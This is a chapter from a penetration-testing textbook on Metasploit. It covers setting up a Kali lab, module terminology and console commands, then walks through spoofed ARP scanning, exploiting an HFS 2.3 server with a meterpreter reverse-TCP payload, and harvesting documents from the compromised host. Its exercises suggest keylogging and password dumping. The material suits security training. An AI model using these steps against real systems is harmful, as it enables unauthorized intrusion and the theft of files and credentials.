Before mingling with Metasploit, we need to have a test lab. The best idea for establishing a test lab is to gather different machines and install different operating systems on them. However, if we only have a single computer, the best idea is to set up a virtual environment.

Virtualization plays a major role in penetration testing today. Due to the high cost of hardware, virtualization plays a cost-effective role in penetration testing. Emulating different operating systems under the host operating system not only saves you cost but also cuts down on electricity and space. Setting up a virtual penetration test lab prevents any modifications on the actual host system and allows us to perform operations in an isolated environment. A virtual network allows network exploitation to run on an isolated network, thus preventing any modifications or the use of network hardware of the host system.

Moreover, the snapshot feature of virtualization helps preserve the state of the virtual machine at a particular interval of time. Hence, snapshots prove to be very helpful, as we can compare or reload a previous state of the operating system while testing a virtual environment without reinstalling the entire software in case the files modify after attack simulation.

Virtualization expects the host system to have enough hardware resources, such as RAM, processing capabilities, drive space, and so on, to run smoothly.

So, let us see how we can create a virtual environment with the Kali operating system (the most favored OS for penetration testing, which contains Metasploit Framework by default).

To create virtual environments, we need virtual emulator software. We can use either of the two most popular ones, VirtualBox and VMware Player. So, let us begin the installation by performing the following steps:

1. Download VirtualBox (http://www.virtualbox.org/wiki/Downloads) and set it up according to your machine's architecture.
2. Run the setup and finalize the installation.
3. Now, after the installation, run the VirtualBox program as shown in the following screenshot:

4. Now, to install a new operating system, select New.

5. Type an appropriate name in the Name field and choose the operating system Type and Version, as follows:

6. Select the amount of system memory to allocate, typically 1 GB for Kali Linux.

7. The next step is to create a virtual disk that will serve as a hard drive to the virtual operating system. Create the disk as a dynamically allocated disk. Choosing this option will consume just enough space to fit the virtual operating system, rather than consuming the entire chunk of physical hard disk of the host system.
8. The next step is to allocate the size for the disk; typically, 20-30 GB space is enough.
9. Now, proceed to create the disk and, after reviewing the summary, click on Create.
10. Now, click on Start to run. For the very first time, a window will pop up showing the selection process for a startup disk. Proceed with it by clicking Start after browsing the system path for Kali OS's .iso file from the hard drive. This process may look similar to what is shown in the following screenshot:

You can run Kali Linux in a Live mode, or you can opt for Graphical install to install it persistently, as shown in the following screenshot:

Now that we have completed the setup of Kali Linux, let us talk about the big picture: Metasploit. Metasploit is a security project that provides exploits and tons of reconnaissance features to aid a penetration tester. Metasploit was created by H.D. Moore back in 2003, and since then, its rapid development has led it to be recognized as one of the most popular penetration testing tools. Metasploit is entirely a Ruby-driven project and offers a great deal of exploits, payloads, encoding techniques, and loads of post-exploitation features.

Metasploit comes in various editions, as follows:

• Metasploit Pro: This edition is a commercial edition, offers tons of great features such as web application scanning and exploitation and automated exploitation, and is quite suitable for professional penetration testers and IT security teams. The Pro edition is used for advanced penetration tests and enterprise security programs.
• Metasploit Express: This is used for baseline penetration tests. Features in this version of Metasploit include smart exploitation, automated brute forcing of the credentials, and much more. This version is quite suitable for IT security teams in small to medium-sized companies.
• Metasploit Community: This is a free version with reduced functionality when compared to the Express edition. However, for students and small businesses, this edition is a favorable choice.
• Metasploit Framework: This is a command-line version with all manual tasks such as manual exploitation, third-party import, and so on. This release is entirely suitable for developers and security researchers.

Throughout this book, we will be using the Metasploit Community and Framework versions. Metasploit also offers various types of user interfaces, as follows:

• The graphical user interface (GUI) interface: This has all the options available at the click of a button. This interface offers a user-friendly interface that helps to provide cleaner vulnerability management.
• The console interface: This is the most preferred interface and the most popular one as well. This interface provides an all-in-one approach to all the options offered by Metasploit. This interface is also considered one of the most stable interfaces. Throughout this book, we will be using the console interface the most.
• The command-line interface: This is the more potent interface that supports the launching of exploits to activities such as payload generation. However, remembering each and every command while using the command-line interface is a difficult job.
• Armitage: Armitage by Raphael Mudge added a neat hacker-style GUI interface to Metasploit. Armitage offers easy vulnerability management, built-in NMAP scans, exploit recommendations, and the ability to automate features using the Cortana scripting language. An entire chapter is dedicated to Armitage and Cortana in the latter half of this book.

Before we put our hands onto the Metasploit Framework, let us understand the basic terminology used in Metasploit. However, the following modules are not just terminologies, but modules that are the heart and soul of the Metasploit project:

• Exploit: This is a piece of code which, when executed, will trigger the vulnerability at the target.
• Payload: This is a piece of code that runs at the target after a successful exploitation is done. It defines the type of access and actions we need to gain on the target system.
• Auxiliary: These are modules that provide additional functionalities such as scanning, fuzzing, sniffing, and much more.
• Encoder: These are used to obfuscate modules to avoid detection by a protection mechanism such as an antivirus or a firewall.
• Meterpreter: This is a payload that uses in-memory stagers based on DLL injections. It provides a variety of functions to perform at the target, which makes it a popular choice.

Metasploit comprises various components, such as extensive libraries, modules, plugins, and tools. A diagrammatic view of the structure of Metasploit is as follows:

Let's see what these components are and how they work. It is best to start with the libraries that act as the heart of Metasploit.

Let's understand the use of various libraries, as explained in the following table:

We have many types of modules in Metasploit, and they differ regarding their functionality. We have payload modules for creating access channels to exploited systems. We have auxiliary modules to carry out operations such as information gathering, fingerprinting, fuzzing an application, and logging into various services. Let's examine the basic functionality of these modules, as shown in the following table:

Gathering knowledge of the architecture of Metasploit, let us now run Metasploit to get hands-on knowledge of the commands and different modules. To start Metasploit, we first need to establish a database connection so that everything we do can be logged into the database. However, usage of databases also speeds up Metasploit's load time by making use of caches and indexes for all modules. Therefore, let us start the postgresql service by typing in the following command at the Terminal:

root@beast:~# service postgresql start

Now, to initialize Metasploit's database, let us initialize msfdb as shown in the following screenshot:

It is clearly visible in the preceding screenshot that we have successfully created the initial database schema for Metasploit. Let us now start the Metasploit database using the following command:

root@beast:~# msfdb start

We are now ready to launch Metasploit. Let us issue msfconsole in the Terminal to start Metasploit, as shown in the following screenshot:

Welcome to the Metasploit console. Let us run the help command to see what other commands are available to us:

The commands in the preceding screenshot are core Metasploit commands which are used to set/get variables, load plugins, route traffic, unset variables, print version, find the history of commands issued, and much more. These commands are pretty general. Let's see the module-based commands, as follows:

Everything related to a particular module in Metasploit comes under the module controls section of the Help menu. Using the preceding commands, we can select a particular module, load modules from a particular path, get information about a module, show core and advanced options related to a module, and even can edit a module inline. Let us learn some basic commands in Metasploit and familiarize ourselves with the syntax and semantics of these commands:

msf>use
exploit/unix/ftp/vsftpd_234_backdoor
msf>use auxiliary/scanner/portscan/tcp        

msf>show payloads
msf> show options        

msf>set payload windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.10.118
msf> set RHOST 192.168.10.112
msf> set LPORT 4444
msf> set RPORT 8080        

msf>setg RHOST   192.168.10.112       

msf>run      

msf>exploit      

msf(ms08_067_netapi)>back
msf>        

msf>info exploit/windows/smb/ms08_067_netapi
msf(ms08_067_netapi)>info        

msf>search hfs

msf>check

msf>sessions [session   number]

meterpreter>sysinfo    

meterpreter>ifconfig  
meterpreter>ipconfig (Windows)

meterpreter>arp

meterpreter>background

meterpreter>shell     

meterpreter>getuid        

meterpreter>getsystem       

meterpreter>getpid        

meterpreter>ps

Before we jump into an example penetration test, we must know why we prefer Metasploit to manual exploitation techniques. Is this because of a hacker-like Terminal that gives a pro look, or is there a different reason? Metasploit is an excellent choice when compared to traditional manual techniques because of certain factors, which are as follows:

• Metasploit Framework is open source
• Metasploit supports large testing networks by making use of CIDR identifiers
• Metasploit offers quick generation of payloads which can be changed or switched on the fly
• Metasploit leaves the target system stable in most cases
• The GUI environment provides a fast and user-friendly way to conduct penetration testing

Covering the basics commands of the Metasploit framework, let us now simulate a real-world penetration test with Metasploit. In the upcoming section, we will cover all the phases of a penetration test solely through Metasploit except for the pre-interactions phase which is a general phase to gather the requirements of the client and understand their expectations through meetings, questionnaires, and so on.

In the upcoming exercise, we assume that we have our system connected to the target network via Ethernet or Wi-Fi. The target operating system is Windows Server 2012 R2 with IIS 8.0 running on port 80 and HFS 2.3 server running on port 8080. We will be using the Kali Linux operating system for this exercise.

Footprinting and scanning is the first phase after the pre-interactions and, based on the type of testing approach (black box, white box, or grey box), the footprinting phase will differ significantly. In a black box test scenario, we will target everything since no prior knowledge of the target is given, while we will perform focused application- and architecture-specific tests in a white box approach. A grey box test will combine the best of both types of methodology. We will follow the black box approach. So, let's fire up Metasploit and run a basic scan. However, let us add a new workspace to Metasploit. Adding a new workspace will keep the scan data separate from the other scans in the database and will help to find the results in a much easier and more manageable way. To add a new workspace, just type in workspace -a [name of the new workspace] and, to switch the context to the new workspace, simply type in workspace followed by the name of the workspace, as shown in the following screenshot:

In the preceding screenshot, we can see that we added a new workspace NetworkVAPT and switched onto it. Let us now perform a quick scan of the network to check all the live hosts. Since we are on the same network as that of our target, we can perform an ARP sweep scan using the module from auxiliary/scanner/discovery/arp_sweep, as shown in the following screenshot:

We choose a module to launch with the use command. The show options command will show us all the necessary options required for the module to work correctly. We set all the options with the set keyword. In the preceding illustration, we spoof our MAC and IP address by setting SMAC and SHOST to anything other than our original IP address. We used 192.168.10.1, which looks similar to the router's base IP address. Hence, all the packets generated via the ARP scan will look as if produced by the router. Let's run the module and also check how valid our statement is by analyzing traffic in Wireshark, as shown in the following screenshot:

We can clearly see in the preceding screenshot that our packets are being spoofed from the MAC and IP address we used for the module:

msf auxiliary(arp_sweep) > run
192.168.10.111 appears to be up.
Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary(arp_sweep) >

From the obtained results, we have one IP address which appears to be live, that is, 192.168.10.111 Let us perform a TCP scan over 192.168.10.111 and check which ports are open. We can perform a TCP scan with the portscan module from auxiliary/scanner/portscan/tcp, as shown in the following screenshot:

Next, we will set RHOSTS to the IP address 192.168.10.111. We can also increase the speed of the scan by using a high number of threads and setting the concurrency, as shown in the following screenshot:

It's advisable to perform banner-grabbing over all the open ports found during the scan. However, we will focus on the HTTP-based ports for this example. Let us find the type of web server running on 80, 8080 using the auxiliary/scanner/http/http_version module, as shown in the following screenshot:

We load the http_version scanner module using the use command and set RHOSTS to 192.168.10.111. First, we scan port 80 by setting RPORT to 80, which yields the result as IIS/8.5 and then we run the module for port 8080 which depicts that the port is running the HFS 2.3 web server.

After completing the scanning stage, we know we have a single IP address, that is,

192.168.10.111, running HFS 2.3 file server and IIS 8.5 web services.

The IIS 8.5 server is not known to have any severe vulnerabilities which may lead to the compromise of the entire system. Therefore, let us try finding an exploit for the HFS server. Metasploit offers a search command to search within modules. Let's find a matching module:

We can see that issuing the search HFS command, Metasploit found two matching modules. We can simply skip the first one as it doesn't correspond to the HFS server. Let's use the second one, as shown in the preceding screenshot. Next, we only need to set a few of the following options for the exploit module along with the payload:

Let's set the values for RHOST to 192.168.10.111, RPORT to 8080, payload to windows/meterpreter/reverse_tcp, SRVHOST to the IP address of our system, and LHOST to the IP address of our system. Setting the values, we can just issue the exploit command to send the exploit to the target, as shown in the following screenshot:

Yes! A meterpreter session opened! We have successfully gained access to the target machine. The HFS is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas, and the exploit module exploits the HFS scripting commands by using %00 to bypass the filtering.

Maintaining access to the target or keeping a backdoor at the startup is an area of critical concern if you belong to the law enforcement industry. We will discuss advanced persistence mechanisms in the upcoming chapters. However, when it comes to a professional penetration test, post-exploitation tends to be more important than maintaining access. Post-exploitation gathers vitals from the exploited systems, cracks hashes to admin accounts, steals credentials, harvests user tokens, gains privileged access by exploiting local system weaknesses, downloads and uploads files, views processes and applications, and much, much more.

Let us perform and run some quick post-exploitation attacks and scripts:

Running some quick post-exploitation commands such as getuid will find the user who is the owner of the exploited process, which in our case is the administrator. We can also see the process ID of the exploited process by issuing the getpid command. One of the most desirable post-exploitation features is to figure out the ARP details if you need to dig deeper into the network. In meterpreter, you can find ARP details by issuing the arp command as shown in the preceding screenshot.

Next, let's harvest files from the target. However, we are not talking about the general single file search and download. Let's do something out of the box using the file_collector post-exploitation module. What we can do is to scan for certain types of files on the target and download them automatically to our system, as shown in the following screenshot:

In the preceding screenshot, we ran a scan on the Users directory (by supplying a -d switch with the path of the directory) of the compromised system to scan for all the files with the extension .doc and .pptx (using a -f filter switch followed by the search expression). We used a -r switch for the recursive search and -o to output the path of files found to the files file. We can see in the output that we have two files. Additionally, the search expression *.doc|*.pptx means all the files with extension .doc or .pptx, and the | is the OR operator.

Let's download the found files by issuing the command, as illustrated in the following screenshot:

We just provided a -i switch followed by the file files, which contains the full path to all the files at the target. However, we also supplied a -l switch to specify the directory on our system where the files will be downloaded. We can see from the preceding screenshot that we successfully downloaded all the files from the target to our machine.

Covering your tracks in a professional penetration test environment may not be suitable because most of the blue teams use logs generated in the penetration test to identify issues and patterns or write IDS/IPS signatures as well.

In this chapter, we learned the basics of Metasploit and phases of penetration testing. We learned about the various syntax and semantics of Metasploit commands. We saw how we could initialize databases. We performed a basic scan with Metasploit and successfully exploited the scanned service. Additionally, we saw some basic post-exploitation modules that aid in harvesting vital information from the target.

If you followed correctly, this chapter has successfully prepared you to answer the following questions:

• What is Metasploit Framework?
• How do you perform port scanning with Metasploit?
• How do you perform banner-grabbing with Metasploit?
• How is Metasploit used to exploit vulnerable software?
• What is post-exploitation and how can it be performed with Metasploit?

For further self-paced practice, you can attempt the following exercises:

1. Find a module in Metasploit which can fingerprint services running on port 21.
2. Try running post-exploitation modules for keylogging, taking a picture of the screen, and dumping passwords for other users.
3. Download and run Metasploitable 2 and exploit the FTP module.

In Chapter 2, Identifying and Scanning Targets, we will look at the scanning features of Metasploit in depth. We will look at various types of services to scan, and we will also look at customizing already existing modules for service scanning.